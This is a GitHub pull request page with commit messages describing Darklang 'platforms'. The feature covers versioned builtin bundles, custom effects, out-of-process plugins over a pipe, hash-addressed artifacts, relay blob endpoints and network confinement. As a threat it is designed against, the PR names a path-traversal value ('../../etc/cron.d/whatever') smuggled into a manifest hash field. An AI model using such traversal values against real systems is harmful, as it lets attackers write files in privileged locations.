Skip to content

Platforms: pick which builtins your code gets, and bring your own - #5769

Draft
StachuDotNet wants to merge 44 commits into
darklang:mainfrom
StachuDotNet:platforms
Draft

StachuDotNet wants to merge 44 commits into
darklang:mainfrom
StachuDotNet:platforms

Conversation

@StachuDotNet

@StachuDotNet StachuDotNet commented Sep 13, 2026

Copy link
Copy Markdown
Member

(at this point, directional experiment)

Builds on #5720, which is what made it possible; I haven't changed that model. It draws two lines
where you'd draw them if you were the only one shipping builtins: builtins are one flat set every
binary has all of, and Effects.Effect is a closed union. Both fine. I wanted to see what they look
like if somebody outside this repo wants to add to them. Platform framing from Roc, diverging on
exclusivity (below).

What it does

A platform is a named, versioned bundle of builtins plus the effects those builtins can perform. Ask
what a program needs, then give it that and nothing else:

dark platforms needed Darklang.Stdlib.List.map --activate
# This instance now has 2 platforms of 20:
#     Core   Store

You find out it worked by running the thing, not by reading a report:

dark eval 'Stdlib.DateTime.now ()'
# This needs Clock, which is off in this session.
#     Turning it on lets your code ask for: clock
# Turn Clock on?   1. Turn it on for this instance   2. Leave it off

eval, run and the REPL ask. Nothing non-interactive does, so scripts and CI get the message and
the command instead of a prompt they can't answer.

A library can name an effect we've never heard of, and you answer it in the same terms:

dark permissions allow acme/serial    # policy updated
dark permissions allow serial         # invalid permission rule: serial
let readTag (port: String) :{"acme/serial"} String = ...

What made it possible

  • A platform is a VALUE, not an assembly. Everything else rests on this. A set is composed at
    runtime, so a platform described by a manifest is the same kind of thing as one this binary links,
    and four assemblies can ship several platforms each.
  • A builtin can be DATA rather than code. External.Fn is a name, parameter types, a return
    type and a set of effects. The runtime type checks a call against that description before the
    thing it describes has ever run, which is what lets a platform exist outside this repo.
  • A manifest names types symbolically. FQTypeName is a content hash, so Stdlib.Result cannot
    travel as one: no third party can know it. The manifest says the name and the consumer resolves
    it, which also means a manifest that wants a type you don't have says so at install.
  • Effects.Effect gains Custom of string, namespaced owner/name, plus PolicyRead and
    PolicyWrite. The effect vocabulary stops being closed.
  • ProgramTypes keeps its shape. PackageFn still carries
    permissionCeiling : Option<Set<Effects.Effect>>; no field added, none moved. What changed is
    that field's DOMAIN, and that rehashes the corpus: a PackageOp carries a function, which carries
    a ceiling, so the effect vocabulary sits inside the hash of the type every op is written as.
    Changing what a capability can be moves a hardened package ref, and the guard caught it.
  • A set has a fingerprint, 16 hex of SHA-256 over a canonical manifest, so a cached package or a
    stored approval can tell whether the floor moved. It covers names, versions, types and effects,
    and deliberately not descriptions or parameter names.

Smaller: RuntimeTypes gains a Platform record and three ExecutionState fields;
RuntimeError.Error gains BuiltinNotActive; Permissions.Request gains Custom and
WholeEffect; LibParser's :{...} row takes a quoted string beside an identifier; the Dark
BuiltinFunction gains effects and firstPartyOnly so a listing can show both gates.

A platform doesn't have to be in this repo

A platform can be a native executable, in any language, that Dark spawns and speaks a pipe to. It
ships as a package: a manifest you read before trusting it, plus one artifact per (os, arch), each
addressed by the SHA-256 of its bytes. You approve a hash rather than a hostname.

dark platforms publish fetch-platform.py
# Published. 2c7f031e69c0ecda461f6c6f1f489f8e12f678aad1b278703eccf68d142d7189

dark platforms install fetch.manifest
# Fetch is installed.
#     Fetched its executable from https://relay.example
#     It is not on yet. `platforms activate Fetch` turns it on.

dark eval 'Builtin.fetchRequest "GET" "https://example.com" [] Stdlib.Blob.empty'
# Ok { statusCode = 200; headers = [...]; body = <559 bytes> }

Installing is not activating, and neither is permission. Three questions: do I have it, may my code
ask for it, does the policy let the ask through.

What a manifest's effects decide

Whether the call is allowed. An out-of-process platform does its own I/O, so the host never
learns the URL and no narrow rule can honestly be checked against it. The gate asks whether the
WHOLE effect was granted:

external Fetch, default policy:  denied. To allow: `permissions allow http`
external Fetch, allow http:      200
linked HttpClient, narrow rule:  200
external Fetch, narrow rule:     denied

A linked platform can be held to one host; an external one can only be granted the network entire.
That is the honest cost of another process, and an argument for staying linked when an effect can be
scoped.

And how the process is confined. One that never mentioned the network is started in an empty
network namespace, so its executable can't phone home whatever its code says:

dark platforms EchoPlatform
#   reaches   acme/serial
#   confined  no network: it never asked for one

unshare --map-current-user --net: no privileges, no daemon, nothing to install. Covers the
network, not the filesystem or syscalls. Fails VISIBLE, so a machine that can't confine still runs
the platform and says so on that line; native gets none and is told so.

The two don't substitute for each other. Confinement is built from the declaration; the policy
decides whether the declaration is honoured.

Decisions

  • Activation and permission stay separate. permissions deny Sqlite doesn't work: a Rule is
    checked against a Request, and a request doesn't know which platform produced it, so it could
    only mean deny native, which also denies Posix, Process, Seed and Policy.
  • An installed platform can't replace a linked one, because it can't claim a name something else
    provides. Shadowing was the alternative and I didn't take it: a builtin quietly becoming somebody
    else's code is worse than any error message. Swapping the built-in HTTP client for a sandboxed one
    needs a person to ask out loud, and I haven't designed that.
  • Publishing an artifact uses the same write secret as ops. Nothing new to configure; the cost
    is that code-push and binary-push become one right. A second secret is the upgrade and invalidates
    nothing, since clients verify hashes either way.
  • On Roc: exclusivity is its whole point, one platform per app. We can't, because programs are
    content-addressed items in a corpus that syncs, so Stdlib.List.map would belong to one platform
    and the corpus would fork. Doing it per session seems to get the same property.
  • The surface isn't where I expected. dark builtins --by-effect counts how many builtins reach
    each effect. package-read is the widest by a distance, from five platforms, so "fewer builtins"
    points at the store's vocabulary rather than at the OS-facing platforms, which are already small.

Cost and what's open

  • The wire is 47 us per call: nothing beside a network round trip, far too much for anything
    fine-grained. Move a platform out when its calls are already expensive AND its effects are narrow
    enough for a namespace to mean something. Sqlite is neither, despite being the one I'd have
    moved first.
  • Effects.Effect carrying data means it's no longer an enum-like union, on a per-builtin-call
    path. First suspect for a small allocation regression; I raised the budget rather than chase it.
  • DStream can't cross a process boundary and shouldn't try, so HttpClient.stream has no
    out-of-process form. Native code is still arbitrary code.
  • If you review one file, make it LibDB/PlatformSpawn.fs. Its module doc lists what the host
    assumes a platform might do, and the one thing it can't defend against: a platform that declares
    an effect, is granted it, and then abuses it.
  • Two permission fixes ride along, not really about platforms. Cli.execute runs $SHELL -c, so
    allow process /bin/bash meant "may run anything"; the suggestion includes the argv now. And
    Random went from eleven builtins to four, which surfaced that List.randomElement draws from
    the cryptographic RNG while the numeric draws don't.

This builds on darklang#5720, which is what made it possible, and I haven't changed that model. The
platform framing comes from Roc, though we end up diverging on the main point.

darklang#5720 draws two lines roughly where you'd draw them if you were the only one shipping builtins.
Builtins are one flat set that every binary has all of. And `Effects.Effect` is a closed union we
add cases to as we need them. Both fine. I wanted to see what they'd look like if somebody outside
this repo wanted to add to them.

## What it does

A platform is a named, versioned bundle of builtins plus the effects those builtins can perform.
Every binary still links all of them, since NativeAOT is a closed world and there's no loading one
later. What you pick is what's ACTIVE for the code you run.

Ask what a program needs, then give it that and nothing else:

```bash
dark platforms needed Darklang.Stdlib.List.map --activate
# This instance now has 2 platforms of 20:
#     Core   Store
```

Then you find out it worked by running the thing, rather than by reading a report:

```bash
dark eval 'Stdlib.List.map [1,2,3] (fun x -> x * 2)'
# [2, 4, 6]

dark eval 'Stdlib.DateTime.now ()'
# This needs Clock, which is off in this session.
#     Turning it on lets your code ask for: clock
# Turn Clock on?   1. Turn it on for this instance   2. Leave it off
```

`eval`, `run` and the REPL ask. Nothing non-interactive does, so scripts and CI get the message and
the command instead of a prompt they can't answer.

A library can also name an effect we've never heard of, and you can answer it in the same terms:

```bash
dark permissions allow acme/serial    # policy updated
dark permissions allow serial         # invalid permission rule: serial
```

```fsharp
let readTag (port: String) :{"acme/serial"} String = ...
```

## The core-type bit worth looking at

`Effects.Effect` gains `Custom of string`, namespaced `owner/name`.

`ProgramTypes` keeps the shape darklang#5720 gave it. `PackageFn` still carries
`permissionCeiling : Option<Set<Effects.Effect>>`, no field added and none moved. What changed is
the DOMAIN of that field.

That had a consequence I liked. Adding the case moved a hardened package ref, because a `PackageOp`
carries a function, which carries a ceiling, so the effect vocabulary sits inside the hash of the
type every package op is written as. Changing what a capability can be rehashes the corpus, and the
guard caught it on the way through.

Smaller: `RuntimeTypes` gains a `Platform` record and three `ExecutionState` fields,
`RuntimeError.Error` gains `BuiltinNotActive`, `Permissions.Request` gains `Custom`, and
`LibParser`'s `:{...}` row takes a quoted string beside an identifier.

## Could a platform just be a package?

Right now it has to be in `fsdark.sln`. What I actually want is a native executable, written in
whatever, that Dark spawns and talks to. Three things I didn't want to give up: no URLs to know, no
third-party host to trust, and nobody thinking about a `.so`.

I think we already have somewhere to put it. The package store is content-addressed, syncs through
your relay, and does approvals and pins per hash. So a platform ships as a package: a manifest plus
one native artifact per (os, arch). You approve a hash rather than a hostname. Artifacts land in a
cache the runtime manages, so nobody names a file. A linked platform and a spawned one look the
same in `dark platforms`.

Most of the wire is already there, which I didn't expect going in. `Serializers/RT/Dval.fs` puts
Dvals on a pipe today, since that's how package values get stored, and `Host.perform`'s
`Operation`/`Response` is a flat door to copy. What's missing is a small invoke protocol, roughly
`(builtin, args) -> Dval | error`. The manifest has to be data rather than code, since the runtime
typechecks against it before it ever runs the thing.

Lazy activation is what makes the cost payable, which I didn't plan. Out of process means an IPC hop
per call and a spawn per platform, but nothing spawns until your code reaches for it.

It only works for coarse, impure builtins. A serial port, a vendor SDK, an HTTP client. Not
`List.map`, and not terminal painting. That's the same category worth making optional anyway.

We could ship some of ours this way too. `SealedHost` links `LibDB` for the package reader, which
drags SQLite and its per-RID binaries into a binary whose whole point is being small, and `Sqlite`
is also the platform that has to declare `native`. Out of process would shrink the core and put the
unscopeable one behind something the OS can actually confine.

Still open: function-typed params can't cross a pipe, streams and ephemeral blobs are already
refused by the wire format, a wedged platform mustn't wedge the CLI, and native code is still
arbitrary code.

## Two other things

I tried to add `permissions deny Sqlite`, so that advertisement and control shared one vocabulary.
It doesn't work. A `Rule` is checked against a `Request`, and a request doesn't know which platform
produced it, so it could only ever mean `deny native`, which also denies `Posix`, `Process`, `Seed`
and `Policy`. Something that reads as scoping to a platform but actually scopes to an effect felt
worse than not having it. So activation and permission stay two separate mechanisms, and that's the
part I'd most want pushback on.

On Roc, and where we diverge: Roc says exclusivity is the whole point, one platform per app. We
can't do that, because programs are content-addressed items in a corpus that syncs, so
`Stdlib.List.map` would belong to one platform and the corpus would fork. Doing it at runtime
instead seems to get the same property.

Last thing, and it's a real cost: `Effects.Effect` carrying data means it's no longer an
enum-like union, on a per-builtin-call path. That's my first suspect for a small allocation
regression on the reference workload. I raised the budget in-branch rather than chase it.
Step 1 of the out-of-process plan, and it changed shape while I built it.

The plan said Platform gets a provider, with a linked case and a spawned case.
That looks wrong. A described platform doesn't need a second KIND of Builtins,
it needs a way to produce the one kind from a description. Once that exists
there's nothing for a provider field to discriminate on, and what actually
differs between linked and spawned (who starts the process, who kills it)
belongs to whoever constructs the platform rather than to the record. Adding
the field now would have been a shape with no reader.

So: Platform.External.Fn describes one builtin as data, and
Platform.External.builtins pairs each description with its index and produces a
real Builtins. It takes an Invoke, so transport is somebody else's problem. A
test passes a function; a shipped platform will pass something that writes to a
pipe.

previewable is Impure and sqlSpec is NotQueryable unconditionally. Purity is a
claim about a body this runtime cannot see, and guessing generously would let an
analysis preview something with side effects.

The permission gate came for free. A described builtin declares
Custom "acme/serial" in callEffects, and the ambient gate checks callEffects
before any body runs, so enforcing a capability nobody here shipped needed no
new code. One test grants it and gets its answer; the other grants every
WELL-KNOWN effect instead and is refused, which is the assertion that matters.

Fingerprints work on a description, asserted three ways: same description hashes
the same, a different declared capability hashes differently, and a different
ANSWER through the same declared surface hashes the SAME. The fingerprint pins
the contract. Pinning the artifact is the content hash's job, separately.

The tests also found the real content of step 2: a described builtin is
invisible to the PARSER. Builtin.acmeReadTag () fails name resolution even
though the runtime calls the same builtin fine by name, because resolution
happens in Dark under the state the parser runs in, which carries the real
catalog rather than the composed set. A manifest has to reach name resolution,
not just the builtin dictionary. The tests call by name and say why, so they
don't quietly depend on that gap.
…earlier finding

I recorded that a described builtin was invisible to name resolution and called
it the real content of step 2. It isn't.

Name resolution reads exeState.fns.builtIn through getAllBuiltinFns, so it sees
whatever state the PARSER runs under. The shared test helper builds its own
state from the stock catalog, which is why a separately composed platform looked
invisible. Parse under a state whose catalog includes the described platform and
Builtin.acmeReadTag () resolves, runs, and answers.

So the manifest reaches name resolution by construction, and step 2 has one
fewer thing in it. Keeping the caution though: 'the parser cannot see X' is an
easy conclusion from a red test when the parser is Dark running under its own
execution state. Ask which state first.
External.Manifest: owner, name, version, description, requires, requiresStore,
and the described builtins. Close to Platform on purpose, minus the one thing
that cannot travel.

Manifest.toPlatform validates and then builds, returning Result rather than
raising. That direction matters: a manifest arrives from outside, so refusing it
has to be a value and the reason has to be nameable.

It checks the shape, not the truth. Whether a platform can do what it claims is
not knowable from a manifest and never will be. What is knowable is that the
claim is well formed, that the signatures can cross a pipe, and that the effects
named are effects.

What cannot cross is checked recursively, which the existing code does not do.
BuiltInParam.make raises on a bare TFn, which is the right instinct in the wrong
form for a manifest and only at the top level; List<Int -> Int> and a dict of
them cannot travel either. TDB and TStream go the same way, for a different
reason: both are handles into state this runtime owns. A test asserts the
control case too, so the check is not just refusing everything that nests.

Every problem is reported at once rather than the first. The checks are
independent and one message per attempt is a bad afternoon for whoever is
writing the manifest.

A duplicate builtin is refused. Builtin.combine catches a name claimed by two
PLATFORMS, but Builtin.make is last-write-wins within one, so a manifest
declaring the same builtin twice would silently keep the second and describe
something the platform does not provide.

No dynamicEffects field, and that is structural rather than deferred. Those are
effects a builtin requests from inside its own body, which means from inside
code this runtime runs. A platform behind a pipe has no such path: the only
thing it can do is answer a call, so everything it can do is in fns.
The plan assumed a manifest would use the existing binary serializers, since
they exist and already refuse what cannot cross. Looking at what they produce
says no, for a better reason than readability.

TypeReference serializes TCustomType as an FQTypeName, and FQTypeName has
exactly one case: a content hash. So Result<String, String> would travel as the
hash of Stdlib.Result in the store that wrote it. A platform author cannot know
that hash, it moves whenever the type does, and a manifest carrying one is
pinned to one corpus: you would ship a different manifest per Dark release for a
type you never touched.

So a manifest names types the way a person writes them and the CONSUMER
resolves them. External.NamedType, a hand-written recursive descent parser, a
render for round trips, and a resolve against a caller-supplied lookup.

Hand-written rather than reusing LibParser, which needs a store and an execution
state to run. This has to work while deciding whether to accept a manifest at
all, which is before either is reasonable to require.

The grammar has no case for a function type, TDB or TStream, so the rule about
what can cross a pipe is now stated twice: once as a check for a manifest built
programmatically, once as a grammar for one written by hand.

Resolution recurses, so List<Acme.Unknown> fails rather than quietly resolving
to a list of something. Asserted specifically, because resolving only the
outermost name is the obvious way to write this and would pass a shallower test.

The call wire stays binary. A manifest is authored once, read at install and
adjacent to a human; a call is machine to machine, hot, and carries values
rather than names, so the hash problem does not arise. One format for both would
have been the mistake, and 'the serializers already exist' is exactly the kind
of reason that sounds like engineering.
…plit

Written.Manifest with parse, render and resolve. Line-oriented, key
rest-of-line, blanks and # comments skipped, a fn line opening a function that
the param, returns, effect and doc lines below it attach to. A plugin author can
emit one with fprintf, which is the point: a format needing a library to produce
makes the first platform in a new language a project rather than an afternoon.

Written sits beside External exactly as WrittenTypes sits beside ProgramTypes:
what a person typed, then what it means HERE, with a resolution step between
that can fail. Once named that way the design stopped having decisions in it.
The compiler error that forced the split was incidental but pointed the same
way: nesting Written inside External shadowed Fn and Manifest, so every
reference to a resolved type needed qualifying.

Unknown keys are errors rather than ignored. The tempting thing is to skip a
line you don't recognise, so old readers tolerate new manifests. For a contract
that's exactly wrong: a platform declaring something the consumer silently drops
is a platform doing less than it says, and nobody finds out until a call fails.
Forward compatibility belongs in a header version bump, not a shrug.

A missing header fails on line one, so pointing this at the wrong path says so
instead of reporting every line of that file as an unknown key.

Round trip is render-then-parse rather than comparing text, since the bytes
would pin comment and blank-line layout that belong to the author.

Effect names go through Effects.fromName, which already resolves well-known then
custom, so a manifest declaring acme/serial needs no special case anywhere in
the codec. It is a name, and names resolve.
Platforms.Install.resolve takes a PT.PackageManager, looks up every package type
a manifest names, and hands Written.resolve a lookup backed by what it found.

It lives in Platforms rather than LibExecution, and that is not arbitrary:
Platform.fs is compiled before ProgramTypes.fs and cannot see a package manager
at all. Which is exactly why NamedType.resolve took a lookup as a parameter
rather than doing the lookup itself. The layering forced the right shape before
I had thought about it.

Names are looked up in a batch before the walk. The lookup is I/O and the walk
is not, so batching keeps NamedType.resolve pure, and a manifest naming three
missing types says all three rather than the first.

Manifests use fully qualified names with no implicit owner. Dark source resolves
Stdlib.Result through an implicit Darklang; a manifest should not, because a
third party's manifest must not depend on whose shortcuts are in play. A name
with no module part is refused rather than guessed at.

One surprise, and my test was wrong rather than the code:
Darklang.Stdlib.Result does not resolve. The type lives in a module of the same
name, so the fully qualified name is Darklang.Stdlib.Result.Result. Found by
asking the running system rather than re-reading the splitter, which was right.
A manifest author will hit this on their first type and it will look like a
typo; the error is accurate and unhelpful about the cause, so a near-miss
suggestion there would earn its keep.

Also worth knowing: PT.Hash and RT.Hash are distinct types over the same string,
so a hash from findType is carried across rather than passed.
The plan said a platform ships as a package ITEM. What the store already has
says that is more than is needed.

package_blobs is content-addressed bytes keyed by SHA-256, deduped by
INSERT OR IGNORE, and it syncs like everything else. A manifest is text and an
executable is bytes, so both are blobs already. The only thing missing was the
link between them, and that belongs in the manifest: artifact linux-x64 <sha256>,
one line per target.

So a platform's identity is its manifest hash and its executables hang off that.
No new item kind, which matters: a new kind is a ProgramTypes change and a
whole-corpus rehash, and I would have paid that for something needing no new
shape.

Hashes rather than paths or URLs, which is the design rather than a detail. It
is what makes the delivery channel uninteresting: bytes arrive however packages
arrive and are checked against the name they came under, so the relay is
transport rather than an authority. 'No URLs to know, no third-party host to
trust' falls out of content addressing rather than needing its own mechanism.

Not building for a target is an ordinary answer. artifactFor returns an option
and None is not a manifest problem: a platform may simply not exist for your
machine, worth saying at install rather than at spawn, and worth not conflating
with a malformed manifest.

Two executables for one target is refused, since it would mean the manifest does
not say which runs. The hash is exact including case: the hash is the name, and
accepting two spellings would let the same bytes be approved twice under two
names.
The plan assumed a platform arrives through the store and relay, since
package_blobs is content-addressed and part of the package database. Checking
says no: DBlob(Persistent(hash, length)) serializes as hash plus length, the
bytes are not in the op, and nothing in the sync wire carries package_blobs
rows. The wire carries OP blobs, which are serialized package ops, a different
thing wearing a similar word.

Latent rather than broken: a real store has no blob rows at all, so nothing
exercises the path today and a platform artifact would have been first to hit
it. Written up; whether package_blobs should sync is a separate question that
affects anything storing a blob in a package value, and not mine to fix in
passing.

The correction improves the design. A manifest and an artifact want different
treatment and I was about to give them the same. The manifest is text, small,
and the thing you review, so it belongs wherever your packages are. The artifact
is large, per-target and lazily needed: a Linux laptop has no use for the
osx-arm64 binary, so fetching by hash on demand is better on its own terms
rather than a workaround for missing blob sync.

So Platforms.Artifacts, the local half of that:

The cache is host state rather than package content, under the policy directory.
An executable on disk is per machine and per target, and an instance restored
from a backup should not arrive with a directory of foreign binaries. The
package database holds the NAME; the bytes are a local cache of something
re-fetchable.

Verified on every check, not only at install. Trusting the filename means
anything that can write the cache can swap the executable a hash approved, and
the name still agrees. Hashing a file we are about to EXECUTE is not the place
to save a read.

Checked before the write, so a mismatched artifact never lands under a name that
would later be trusted. Written to a .partial and renamed, so a crash cannot
leave a truncated file under a hash claiming completeness.

And a hash that is not a hash cannot name a file: it arrives from a manifest,
which came from outside, so without validation a manifest could name
../../etc/cron.d/whatever.
Install.manifestFrom takes a package manager and a location, finds the value,
reads it, parses and resolves. Nothing new had to be built to carry a manifest:
it is text, a package value holds text, and package values already sync,
content-address, approve and pin.

That is the half of the delivery story that works today, and the half that
matters most. The manifest is the small reviewable thing that should follow you
between machines. Artifacts are large, per target and lazily needed, so they
stay a fetch-by-hash into a verified local cache.

A manifest must be a string LITERAL rather than an expression that computes one.
A package value's body is an Expr, so a manifest could in principle be computed;
allowing that would mean running package code to find out what a platform
CLAIMS, which is exactly the wrong order. The manifest is what you read BEFORE
deciding to trust anything about it, so the reader matches one shape and refuses
the rest with a reason.

A missing manifest is a value rather than an exception, same as everything else
on this path: it arrives from outside, so 'not there' and 'not a manifest' are
answers with reasons.

What this leaves: installing a platform is a package value somebody authored
(which syncs), a manifest read out of it and resolved against your store, and
artifacts fetched by hash into a verified cache. Still missing is the host-owned
record of which manifest hashes THIS instance has approved, which is policy and
correctly does not sync.
…turns

Artifacts.ensure takes a Source (hash -> Ply<Option<byte[]>>) and guarantees the
bytes with that hash are on disk: verified cache first, fetch only on a miss,
check what came back, then write.

A function rather than a concrete source, for the third time in this work.
External.Invoke took one for the call transport, NamedType.resolve took one for
the store, and this takes one for the bytes. That has turned out to be the shape
that keeps each piece testable without the thing below it existing yet, which is
why the local half of every step has been finishable while the remote half is
still a design question.

The cache check verifies rather than testing for existence, so a swapped file is
refetched rather than trusted. The test counts the source's calls, which is the
only way from outside to tell reused from refetched, then swaps the file on disk
and asserts the count goes up.

The source is transport and transport is not trusted: whatever it returns is
checked against the hash that was ASKED for, before anything reaches the disk.
Content addressing only helps if somebody actually checks.

The unavailable message names two causes, because this layer cannot tell them
apart. Absent bytes mean either 'not fetched yet' or 'this platform does not
build for your machine', and guessing one sends people looking in the wrong
place.

The local blob store is one source. What is missing is a relay source: the relay
serves /ops, /sync/* and /branch/* and has no content-addressed endpoint, so
that is a new endpoint plus a client plus a decision about auth. Left as an item
rather than bolted on.
Policy's builtins all declared Native through one helper. Native means
'granting this hands over the machine', which is true of Sqlite.query and false
of reading the instance policy. It made every command that so much as looks at
an approval indistinguishable, to the effect system, from one that can open any
file on the box.

There was no honest existing effect for host policy state, so there are two new
ones: PolicyRead and PolicyWrite. Ambient and unscoped exactly like PackageRead
and TraceRead, for the same stated reason: the policy store is a host-owned
whole with no per-resource handle to name, so a rule grants it or does not.

Native declarations more than halved.

Nothing was widened. Neither new effect is in the default instance policy, so
what was native-gated before is policy-gated now and both are denied by default.
The gain is only that granting policy access no longer grants everything else
along with it.

Two guards answering two questions: canManagePolicies still refuses guest code
outright, before arguments are looked at, and the effect is what a POLICY can
reason about. The reason Native was there at all was a failure to separate them.

The writes declare both, derived from the hostOnly wrapper rather than listed
per builtin, so a new one cannot forget.

The pinned-promises test caught the change and required a deliberate update,
which is what it is for. An effect surface moving silently is the failure it
exists to prevent.
Platforms.Spawn starts a process, frames a call, reads the answer, and hands
back an External.Invoke. The wire is the one the spike proved and it did not
change: a four-byte length each way, a varint builtin index, a varint argument
count, arguments as Dvals, a status byte and a Dval back.

Spawning was missing from the plan and the plan's order would have been wrong.
Every transport item assumed a platform that could RUN, and nothing could.
Building delivery for something with no destination is the mistake an ordered
list makes easy.

Lazy start is what makes this affordable: nothing spawns until a builtin is
actually called, so an installed platform nobody uses still costs a record and
no process.

One lock per process, held across request AND response. A single pipe pair is
not concurrency-safe: two calls in flight interleave their frames and both get
nonsense. Per process rather than global, so two platforms do not block each
other.

The crash case the spike found is handled, and it is the one that matters. A
dead plugin is a closed pipe rather than any response, so a naive reader waits
forever. It is now an error with the platform's name on it, and the handle drops
the dead process so the next call starts a fresh one. The test crashes the
platform deliberately and then asserts the NEXT call works.

Proven with a platform in another language:
backend/testfiles/platforms/echo-platform.py composes with Core, runs through
the interpreter, is refused when its capability is not granted, and keeps a
counter this runtime cannot see, which is the proof it is really another process
rather than a clever closure.

One thing for a plugin author's first page: a Dark builtin taking nothing still
sends a unit argument, because a builtin declaring unit has a parameter and a
DUnit crosses the wire.
Platforms.Installed is a host-owned map from platform name to the hash of the
manifest it was installed from. That is the whole record.

It can be that small because everything else is reachable from the hash. The
manifest is cached under its own hash, in the same cache as artifacts, since it
is the same kind of thing: bytes addressed by what they are. The artifact hashes
are inside the manifest. So name plus hash reconstructs a platform, and the test
asserts that rather than trusting it.

The hash is what makes it a pin rather than a note. A manifest changing
underneath an install is a different platform claiming the same name, and
recording the hash is what lets anything downstream notice. It is also the hook
the approval design hangs on.

Not synced, deliberately, for the same reason as the policy and the activation
file: installing somebody else's executable is a decision about THIS machine.
The manifest is content and travels; the decision to have it does not.

A broken install is skipped with its reason rather than raising. An instance
with one bad install should still start, and the bad one should be visible
rather than silent; testing only one of those halves is how you get a CLI that
boots fine and quietly has fewer platforms than you think. Three cases pinned:
rebuilt, does-not-build-for-this-target, and a manifest that was never cached,
which is the shape an interrupted install leaves behind.

Fail-closed parse, matching the activation file: a header we cannot read means
no installs rather than every install. Failing open would run somebody's binary
on the strength of a corrupted byte.
    $ dark platforms install echo.manifest echo-platform.py
    EchoPlatform is installed.
        It is not on yet. `platforms activate EchoPlatform` turns it on.

    $ dark eval 'Builtin.echoShout "hello from dark"'
    HELLO FROM DARK

A Python program that knows nothing about Dark, described by a text manifest,
addressed by content hash, installed, composed into the CLI's platform set,
spawned on demand, speaking Dark's own Dval format over a pipe, and gated on a
capability this runtime never shipped.

Calls are keyed by NAME now, not by position in the manifest. Position was the
cheaper wire and it is a trap: my demo manifest declared one builtin and the
fixture's position 0 was a different function, so echoShout returned an Int64
and the type checker caught it. That was luck. The same mistake between two
functions of the same shape is a plausible wrong answer, silently. The manifest
and the plugin already agree on names, so names are what should cross; the cost
is a short string per call, which the spike measured as nothing beside the round
trip. Found by writing a manifest by hand the way an author would, and getting
it slightly wrong the way an author would.

Installing is not activating: separate decisions, and collapsing them would mean
installing something turned it on.

The machinery moved from Platforms to LibDB because no builtin assembly can see
Platforms, since the catalog references every Builtins.* and the arrow cannot
point both ways. Artifacts, spawning, install and the installed record belong
below the builtins anyway; Platforms.Compose is all that genuinely needs the
catalog.

Reading the executable is a permissioned file read in DARK; verifying it against
the manifest's hash and caching it is in the host. That split was chosen for the
relay and paid off immediately somewhere else: a local install and a relay fetch
differ only in where the bytes come from.

One staleness bug, caught by using it: asking which artifact a platform needs
went through the composed set, which is built at startup, so a platform
installed a moment earlier answered 'ships nothing for this machine'. It reads
the install record directly now.
An external platform's manifest already travelled: it is a package value, so it
syncs like anything else. Its executable did not, which left `platforms install`
needing a file path and nowhere to get one from.

Two endpoints, with deliberately different postures:

- `GET /blob/:hash` takes no credential, like every other relay read. Knowing
  the hash is the only capability in the model, you cannot browse for one here,
  and the client checks the bytes against the hash the manifest named, so a
  relay that substituted bytes is caught on the far side.
- `POST /blob` takes the ops write secret. The cost, stated so nobody is
  surprised later: a relay operator who hands out the secret so somebody can
  push Dark has also let them ship an executable. The upgrade is a second
  secret, and it invalidates nothing, because clients verify either way.

The hash on write is COMPUTED from the bytes rather than accepted as an
argument, so a caller cannot file bytes under a name that is not theirs, and
there is nothing to overwrite: pushing the same blob twice is the same blob.
A hash that is not a hash is a 400 rather than a 404, since "not found" would
say the relay has not got it, which is a different thing to believe.

The fetch is Dark and the cache is native. Sync already makes its HTTP calls
from Dark under the host's policy and an artifact fetch is the same kind of
call; what must not be in Dark is the decision that these bytes are the ones
the manifest meant.

    $ dark platforms publish echo-platform.py
    Published. cd9f886cb4e7ad14c55006eaafcf529f3051dc35c08e265a26212f1ea41ea50f

    $ dark platforms install echo.manifest
    EchoPlatform is installed.
        Fetched its executable from http://localhost:9106.

    $ dark eval 'Builtin.echoShout "fetched over the wire"'
    FETCHED OVER THE WIRE

Making that last line work needed a fix in activation. `Sets.activating` resolved
names against the catalog this build LINKS, while the CLI's own set is linked
plus installed, so switching on an external platform raised "no such platform"
and then listed every platform except the one you had just installed. It takes
the catalog now, and the linked-only variant is gone rather than left as a
choice: every caller wants the composed set, and one that silently got the other
would be wrong only on machines that had installed something.
Step 4 of the plan is "move HttpClient out of process". It could not have
worked, and one throwaway platform found out why: a scratch manifest declaring
`blobLen : Blob -> Int64`, installed and called from `dark eval`, answered

    Cannot serialize ephemeral blob 3deeb420-...; promote to Persistent first

which rules out every HttpClient builtin at once, since they all hand back
freshly fetched bytes.

The at-rest Dval format is right to refuse. At rest, bytes have to be
addressable, and an ephemeral blob's bytes live inline with nothing to point
at. The mistake was reusing an at-rest codec as a transport. A frame is not at
rest: it is consumed on arrival, and the receiver mints its own bytes.

So a frame now carries a blob TABLE ahead of its payload, in both directions: a
count, then hash, length and bytes. Every blob in the payload is an ordinary
persistent reference, and a receiver rehydrates the ones whose hash it was
sent. Keyed by hash rather than position, which pays twice: the same blob
passed twice is one entry, and a reference the table does not mention still
means something, namely bytes the receiver already holds.

`External.Invoke` grew an `ExecutionState`, because a blob argument may be a
reference into the store and the far side has no store to resolve it against.
The transport is what needs the store, not the platform.

What it costs, written down rather than discovered later: a persistent blob
sent to a platform is copied through a pipe, and ephemeral bytes are hashed on
every call. Both belong to "another process" rather than to this encoding, and
the only way around them is handing a plugin the store.

`DStream` is still refused, and not as a gap to close later. A stream's
lifetime is bounded by the VM that made it, so carrying one across a process
boundary is a different protocol with its own backpressure and cancellation.
HttpClient's streaming builtin therefore cannot move out of process, which is
better known before the pilot than during it.

Separately, uninstalling a platform bricked the instance: the activation record
kept the name, the composed catalog no longer had it, and every command failed
with an internal error including the ones that would have fixed it. Uninstall
drops the name from the choice now, and reading a choice SKIPS a name nobody
ships rather than raising. Validate on write, tolerate on read: a typo still
cannot be stored, since that is checked when the choice is made, but by the
time a choice is read the thing it named is allowed to have gone away.
Same method as the last one, and the same shape of answer. A throwaway platform
declaring `returns Darklang.Stdlib.Result.Result<String, String>`, with a plugin
answering a bare string:

    Builtin.tryResult's return value expects
    Darklang.Stdlib.Result.Result<String, String>, but got String

Two things at once. The type checker does check what a plugin hands back, so a
lying platform is caught rather than believed. And there was no way to stop
lying: an enum on the wire carries the type's CONTENT HASH, and a plugin cannot
know a hash.

Which is the same fact that made manifests name types symbolically in the first
place. A platform author cannot know a hash, so a manifest says `Stdlib.Result`
and the consumer resolves it. The gap was that the resolution stopped at the
host; the plugin needed it too and nobody had handed it over. So an external
platform could only ever return primitives, and could declare a `Result` it
could never produce.

Now the host tells it, once, when the process starts. One frame out: the wire
version, the platform's name, and every type name the manifest used with what
